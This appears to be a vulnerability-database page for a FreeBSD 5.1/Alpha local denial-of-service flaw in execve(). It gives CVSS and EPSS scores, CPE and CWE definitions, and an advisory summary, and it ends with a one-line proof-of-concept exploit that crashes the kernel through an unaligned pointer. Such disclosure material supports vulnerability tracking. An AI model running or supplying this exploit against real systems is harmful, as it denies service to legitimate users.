CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
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FreeBSD 5.1 for the Alpha processor allows local users to cause a denial of service (crash) via an execve system call with an unaligned memory address as an argument.
CVE Informations
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
2.1
AV:L/AC:L/Au:N/C:N/I:N/A:P
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
1.76%
–
–
2022-03-27
–
–
1.76%
–
–
2022-04-03
–
–
1.76%
–
–
2022-04-17
–
–
1.76%
–
–
2022-08-28
–
–
1.76%
–
–
2023-03-05
–
–
1.76%
–
–
2023-03-12
–
–
–
0.04%
–
2024-01-14
–
–
–
0.04%
–
2024-02-25
–
–
–
0.04%
–
2024-04-14
–
–
–
0.04%
–
2024-06-02
–
–
–
0.04%
–
2024-06-09
–
–
–
0.04%
–
2024-10-27
–
–
–
0.04%
–
2024-12-15
–
–
–
0.04%
–
2024-12-22
–
–
–
0.04%
–
2025-01-19
–
–
–
0.04%
–
2025-01-19
–
–
–
0.04%
–
2025-03-18
–
–
–
–
0.23%
2025-03-30
–
–
–
–
0.23%
2025-03-30
–
–
–
–
0.23,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
/*
source: https://www.securityfocus.com/bid/10596/info
It is reported that FreeBSD running on the Alpha architecture is susceptible to a denial of service vulnerability in its execve() system call.
An attacker with local interactive user-level access on an affected machine is reportedly able to crash FreeBSD when running on the Alpha architecture, denying service to legitimate users.
FreeBSD 5.1-RELEASE/Alpha is reported vulnerable, other architectures with strict memory alignment requirements are also likely vulnerable. IA32 is reported immune. Versions other than 5.1-RELEASE are likely affected as well.
*/
/*
* FreeBSD/Alpha local DoS
* by Marceta Milos
* root@marcetam.net
*
*/
char main() { execve("/bin/ls",(int *)(main + 1), 0); }